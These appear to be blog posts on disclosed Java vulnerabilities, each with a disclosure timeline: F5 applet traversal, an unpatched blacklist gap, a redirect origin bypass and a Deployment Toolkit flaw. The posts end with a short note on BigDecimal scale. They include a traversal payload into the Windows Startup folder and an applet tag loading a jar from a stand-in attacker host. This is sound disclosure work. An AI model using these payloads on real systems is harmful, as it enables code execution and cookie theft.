Neal Poole

Summary

A signed Java applet distributed with a number of products by F5 Networks contained a vulnerability which allowed for arbitrary code execution on a local machine under specific circumstances.

The vulnerability has been assigned CVE-2013-0150 and F5 has put together its own security advisory which lists affected applications and provides information on which versions contained patched applets. In the future F5 will ask Oracle to blacklist the applets so that they can not be used in a malicious attack.

Applet Overview

The applet in question is intended to be used to download and execute software from F5 on a user’s machine. The general workflow is as follows:

1. Applet downloads executable (provided as a parameter to the applet named source)
2. Applet verifies signature for executable (the signature is also provided as a parameter)
3. If the signature is valid, the executable is run by the applet.

The vulnerability that I discovered was not in the signature scheme; instead, it involved a bug in how the applet saved the newly downloaded executable.

Vulnerability Details

The applet allowed you to provide a local filename for the downloaded file via a parameter named filename. The file was intended to be saved in the system temporary directory (%TEMP%, /tmp, etc). However, the filename parameter was vulnerable to a directory traversal attack. As a result, the file saved anywhere on the filesystem and would overwrite existing file contents.

For an attack on Windows machines, I realized that the executable could be saved in C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Programs\Startup, which would allow the application to be executed when the machine next booted up. The %TEMP% directory by default is C:\Users\USERNAME\AppData\Local\Temp, so my malicious parameter looked like ../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/app.exe.

The only interaction required by a user was to allow the signed Java applet to run. That interaction might not even have been necessary if the user had chosen to trust applets signed by F5 Networks in the past.

Disclosure Timeline

• April 25th, 2013, 8:12 PM: Initial report to security-reporting@f5.com including incorrect proof of concept URLs (lead to 404).
• April 26th, 2013, 3:34 PM: Reply from F5. Report has been replicated internally, requested correct proof of concept URLs.
• April 26th, 2013, 4:09 PM: Sent corrected proof of concept URLs to F5
• April 26th, 2013, 4:22 PM: Reply from F5, asking for confirmation of vulnerability assessment.
• April 26th, 2013, 4:35 PM: Sent email confirming vulnerability assessment
• April 26th, 2013, 4:38 PM: Acknowledgement from F5 that the relevant teams were analyzing the report.
• April 26th, 2013, 5:40 PM: Email from F5 asking about disclosure timeline and finding attribution details
• April 26th, 2013, 5:50 PM: Replied to F5. Provided additional information about Oracle’s Java blacklist.
• April 26th, 2013, 5:56 PM: Followup from F5 confirming receipt of additional information.
• May 2nd, 2013: Followup from F5. Issue is being triaged and fixes are being scheduled.
• May 21st, 2013: Followup from F5. Fixes are being built and tested, updated products will be released soon.
• June 7th, 2013: Followup from F5. Patches in place for many products, working on public announcement.
• June 21st, 2013: Followup from F5. Fixes continue to be developed and released.
• July 2nd, 2013, 11:26 AM: Followup from F5. Public announcement has been made.
• July 2nd, 2013 6:30 PM: Blog post published

Conclusion

Signed Java applets are still a source of major insecurity beyond the many vulnerabilities discovered in the JVM itself. Developers working with signed Java applets should be especially cautions

This vulnerability was reported to F5 Networks in accordance with their policies on reporting suspected vulnerabilities. I want to thank them for their thoroughness and commend them for their smooth disclosure and remediation process.

Summary

Over a year ago I identified a signed Java applet which could be used to download and execute arbitrary applications onto a user’s machine. I reported this applet to Oracle and to the vendor. Although the vendor has worked to provide an updated, secure version of the applet to its clients, Oracle has taken no action to disable the insecure version of the applet.

Given the current discussions on the state of Java security, I felt it appropriate to highlight a feature of Java which isn’t used very much and which many people don’t know about: the JAR blacklist. This feature could be used more effectively to address situations where signed Java applets can be abused.

How does the JAR blacklist work?

Oracle describes the blacklist as follows:

A blacklist is a list of signed jars that contain serious security vulnerabilities that can be exploited by untrusted applets or applications. A system-wide blacklist will be distributed with each JRE release. Java Plugin and Web Start will consult this blacklist and refuse to load any class or resource contained in a jar file that’s on the blacklist.

There are two blacklists that are used: a system-wide blacklist that is distributed with Java (deployment.system.security.blacklist) and a user-determined blacklist (deployment.user.security.blacklist). On my laptop they were in C:\Program Files\Java\jre7\lib\security\blacklist and C:\Users\USERNAME\AppData\LocalLow\Sun\Java\Deployment\security\blacklist,
 respectively.

The blacklists are simply hashes of the signed JARs: when a JAR is downloaded, the JRE refuses to run it if its signature matches the blacklist.

As Oracle’s description of the JAR blacklist mentions, the system-wide blacklist is distributed with each release of the JRE. That means in order to blacklist a new applet, a new version of the JRE needs to be released.

Oracle does not appear to proactively add entries to the blacklist. Instead, vendors can reach out to Oracle by emailing secalert_us@oracle.com to ask that their applet be blacklisted. Below is an email that was sent to me and the vendor by an employee of Oracle regarding their blacklisting policy:

Java SE includes a mechanism for blacklisting jars. See “Blacklist Jar Feature” at:

http://www.oracle.com/technetwork/java/javase/6u14-137039.html

We can evaluate including blacklist entries for your signed applet and will need the following information:

* Company name and address
* Company web page address (URL)
* Contact for company

1. Are you the publisher of the vulnerable jars?
2. How many jars are affected (this should include all versions that have been released)?
3. What is the link to the advisory for the vulnerability?

What applets are currently blacklisted?

I extracted the latest blacklist from my installation of Java (found in C:\Program Files\Java\jre7\lib\security\blacklist):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# JNLPAppletLauncher applet-launcher.jar  
SHA1-Digest-Manifest: 5Bo5/eg892hQ9mgbUW56iDmsp1k=

# 7066583  
SHA1-Digest-Manifest: x17xGEFzBRXY2pLtXiIbp8J7U9M=  
SHA1-Digest-Manifest: ya6YNTzMCFYUO4lwhmz9OWhhIz8=  
SHA1-Digest-Manifest: YwuPyF/KMcxcQhgxilzNybFM2+8=

# 7066809  
SHA1-Digest-Manifest: dBKbNW1PZSjJ0lGcCeewcCrYx5g=  
SHA1-Digest-Manifest: lTYCkD1wm5uDcp2G2PNPcADG/ds=  
SHA1-Digest-Manifest: GKwQJtblDEuSVf3LdC1ojpUJRGg=

7066583 corresponds to a vulnerability in the Cisco AnyConnect Mobility Client, while 7066809 corresponds to a vulnerability in the Microsoft UAG Client applet. That’s a total of 7 JARs over 3 distinct products.

To blacklist the applet that I discovered, you can add the following line to your user blacklist file:

SHA1-Digest-Manifest: juvzxh6HWxwJuK/Vz267YFzTgqw=

Note that there may be other, older versions of the applet that I am not aware of.

How does the blacklist feature compare to other systems?

• The system-wide blacklist is tied to a JRE release
  This is in contrast to the blacklists used by Google Chrome and Firefox to block malicious extensions: such lists can be updated dynamically and are not tied to a software release.
• The blacklist has a total of 7 entries
  To compare, Google Chrome’s blacklist has 450 extensions listed on it, while Firefox has blocked numerous add-ons over the years.
• Vendors are the only ones who can submit entries to be blacklisted
  I’m not aware of other blacklists where this is a requirement. Most other systems will take into account user reports and perform their own evaluations.

Vulnerability Details / Disclosure Timeline

The vulnerable signed JAR itself is not very interesting: it’s designed to download and run an executable specified by a properties file, which is in turn hosted on a server. At no point is there any validation of the properties file or executable; as such, it’s trivial to take the JAR and point it at an attacker-controlled properties file, which in turn points to an attacker-controlled executable. It’s a textbook example of a bad signed JAR and is fairly trivial to exploit.

The vendor has since released a version of their JAR which requires a valid signature for any executable that is downloaded. However, because the old applet is still available on the Internet and has not been blacklisted, it is potentially valuable for attackers. For that reason I have chosen not to release the vendor’s name.

Below is a timeline of all communications between me, the vendor, and Oracle. Unless otherwise stated, emails sent to the vendor were also CC’ed to Oracle.

• December 13th, 2011: Email sent to secalert_us@oracle.com informing them of the insecure applet and providing them with a proof of concept.
• December 14th, 2011, 4:09 PM: Reply from Oracle, asking for additional steps to reproduce.
• December 14th, 2011, 5:10 PM: Email sent to Oracle, additional steps provided.
• December 14th, 2011, 8:07 PM: Reply from Oracle, asking for clarification.
• December 14th, 2011, 11:06 PM: Email sent to Oracle, attempting to clarify.
• December 15th, 2011, 4:54 PM: Reply from Oracle, opening case and providing tracking number.
• December 21st, 2011: Reply from Oracle, confirming vulnerability. “We have confirmed the vulnerability in the signed applet from [Vendor]. As the vulnerability is in signed applet, we recommend that you report it to [Vendor] if you had not already done so. Oracle Java SE has a blacklisting feature and [Vendor] may request for their applet to be blacklisted.”
• December 21st, 2011: Email sent to Oracle, asking for clarification on blacklisting policy.
• December 23rd, 2011: Reply from Oracle, reiterating previous email. Suggestion to contact vendor and CC them.
• December 23rd, 2011 7:08 PM: Email sent to vendor with Oracle CC’ed, explaining vulnerability.
• December 23rd, 2011 7:16 PM: Reply from vendor, acknowledging report and forwarding to engineers.
• January 20th, 2012: Email sent to vendor, asking for status update
• January 22nd, 2012: Vendor replies, acknowledges vulnerability, describes additional protections being taken for the future
• January 22nd, 2012: Email sent to vendor, acknowledging their email and thanking them for their diligence to resolve the issue
• February 15th, 2012: Oracle sends email to vendor, explaining blacklisting procedure.
• February 15th, 2012: Vendor replies, forwarding details to engineering team.
• April 9th, 2012: Email sent to vendor, asking for status update
• April 10th, 2012: Reply from vendor. Vulnerability has been addressed in current release. In process of deployment to customers.
• September 1st, 2012: Email sent to vendor, asking for status update
• September 10th, 2012: Reply from vendor. Deployment to customers ongoing.
• September 10th, 2012: Email sent to vendor, asking about blacklisting status.
• September 11th, 2012: Reply from vendor. Will contact me when deployments are closer to completion.
• September 12th, 2012: Reply from Oracle, reiterating the blacklisting procedure.
• September 12th, 2012: Reply from vendor, acknowledging Oracle’s email.
• January 16th, 2013: Email sent to vendor and Oracle, alerting them of plans to publish this blog post on January 23rd
• January 18th, 2013: Reply from oracle, acknowledging email and reiterating blacklisting procedure.

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

1. Writes a malicious Java applet that accesses http://example.com
2. Uploads that applet to http://evildomain.com/evil.jar
3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)

4. Creates a malicious page anywhere on the Internet containing the following HTML:

   1 2 3 4 5

   <applet code="CSRFApplet.class" archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar" width="300" height="300"></applet>

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

1. The user loads the page
2. The user’s browser fetches the Java applet.
3. The Java applet executes.
4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

1. The user loads the page
2. The user’s browser fetches the Java applet.
3. The Java applet executes.
4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

• December 28th, 2010: Vulnerability discovered
• January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
• January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
• January 12th, 2011: Vendor acknowledges receipt of email
• January 25th, 2011: Followup email sent to vendor, inquiring about status
• January 26th, 2011: Vendor replies: issue is still being investigated
• February 15th, 2011: [A Java SE Critical Patch Update is released][]
• March 15th, 2011: Followup email sent to vendor, inquiring about status
• March 18th, 2011: Vendor replies: issue is still being investigated
• March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
• March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
• March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
• April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
• May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
• May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• June 7th, 2011: A Java SE Critical Patch Update is released
• June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
• July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
• July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
• July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
• August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU”
• September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU”
• October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
• October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

Summary

The Java Deployment Toolkit Plugin v6.0.240.7 and below for Firefox and Google Chrome can be used to download and run an improperly signed executable on a target’s system. UAC, if enabled, will prompt the user before running the executable. This vulnerability has been tested and confirmed to exist on Windows 7, both 32-bit and 64-bit. It was fixed in Java 7 and Java 6 Update 29. This issue has been assigned CVE-2011-3516.

What is the Java Deployment Toolkit?

The Java Deployment Toolkit Plugin is designed to simplify the lives of developers who work with Java applets and Java Web Start applications. It provides a JavaScript interface in the browser that developers can use to perform tasks like check JRE versions and launch Java applications. It was released as a part of Java 6 Update 10 and exists in Internet Explorer, Firefox, and Google Chrome. Since being released, it has been the source of several serious security vulnerabilities. ^{[1] [2] [3]}

How does the vulnerability work?

If a browser has the Deployment Toolkit plugin installed, a webpage can use JavaScript to silently trigger the installation of a Java update by calling the installLatestJRE() function on an instance of the Deployment Toolkit NPAPI plugin. When that function is called, the plugin makes a request to java.sun.com over HTTP to fetch the installer for the latest version of Java.

In Internet Explorer, the plugin appeared to validate the signature on the installer after the file was downloaded. If it encountered an unexpected or missing signature, it did not execute the file and alerted the user. However, no such check occurred in Firefox or Chrome. As a result, a malicious attacker on a user’s network would be able to trigger the download and execution of an arbitrary file. In my testing, redirecting the traffic for java.sun.com and serving up an executable at http://java.sun.com/webapps/download/AutoDL was all that was necessary. Accordingly, this vulnerability can easily be used with a tool like EvilGrade.

If UAC is enabled on the targeted machine, the user is prompted before executing the file. However, the file is saved in the %TEMP% directory as JREInstallYYY_XX.exe, where YY is the major version (ie: 160, 170) XX is the update number of the latest release. As a result, it may be possible to trick the user into believing that a malicious executable is actually a legitimate update.

Note that in Google Chrome a user is prompted with an infobar before the Java plugin is allowed to execute. The user would have to select the option to “Always run on this site” in order for the payload to be downloaded.

Disclosure Timeline

• Mid-February, 2011: Vulnerability discovered. Set up a test server (a server that hosts a binary in the proper location for download)
• February 24th, 2011: Email sent to vendor. Disclosed details of vulnerability, including IP of test server and steps to reproduce.
• February 24th, 2011: Bug 636633 filed with Mozilla
• February 25th, 2011: Vendor acknowledges receipt of email
• March 8th, 2011 12:24 AM: Vendor replies, could not reproduce the issue
• March 8th, 2011 1:35 AM: Email sent to vendor: suggested disabling UAC
• March 8th, 2011 10:20 AM: Email sent to vendor: other troubleshooting steps
• March 14th, 2011 10:04 PM: Vendor replies, could not reproduce the issue after extensive testing
• March 14th, 2011 11:11 PM: Email sent to vendor: updated binary on test server to yield better results
• March 15th, 2011 8:44 AM: Vendor replies, confirms issue on Windows 7, requests that test server remain operational
• March 15th, 2011 10:11 AM: Email sent to vendor: acknowledging request to keep test server running
• March 20th, 2011 12:06 PM: Email sent to vendor: new IP for test server
• March 20th, 2011 9:09 PM: Vendor replies, acknowledging new IP
• March 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
• April 25th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
• May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
• May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java SE Critical Patch Update
• May 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
• June 7th, 2011: A Java SE Critical Patch Update is released
• June 17th, 2011: Updated Bug 636633 with the most recent information.
• June 17th, 2011: Verified that the issue also exists in the plugin used in Chrome. Filed Issue 86526. Sent email to vendor.
• June 20th, 2011: Vendor replies, says that fix will also address issue in Chrome
• June 23rd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
• July 22nd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
• July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has been silently patched. Email with vendor confirms.
• August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now marked “Issue fixed in main codeline, scheduled for a future CPU”
• September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU”
• October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
• October 14th, 2011: Vendor releases Java 6 Update 29, which patches the vulnerability.

Wrapup

I want to thank Oracle Security Alerts for working with me to verify and patch this vulnerability.

A recent Java project (replacing a very slow Excel spreadsheet) required me to do some calculations involving money. The issues involved in using floating point arithmetic to handle monetary calculations are well documented (Google it if you don’t believe me) so, as any smart Java programmer would do, I started writing my program using BigDecimal to represent the money.

Unfortunately, when I started checking my results, I found that my answers wouldn’t match up with Excel’s!

Worse, my answers didn’t match up with ones done directly on the data source that both Excel and my program were using to get data!

And even worse, Excel’s answers exactly matched those from the data source.

I was astonished. How, I asked myself, could floating point arithmetic beat arbitrary precision so badly?

Then, suddenly (and by suddenly I mean a half-hour later), it hit me.

BigDecimal has a notion of something called “scale.” The scale corresponds to the number of digits to the right of the decimal place. Thus, the scale determines how accurate BigDecimal calculations will be. If the scale is set too low, the precision is lowered.

As it turned out, the scale on all of my BigDecimals was a measly four digits (I was following good practice by using BigDecimal’s String constructor, and my data source returned numbers with four decimal places). For comparison, printing out my double at any given point would give me \~10 digits. As soon as I set the scale properly, the calculations became accurate and my BigDecimal formulas started working the way I expected them to.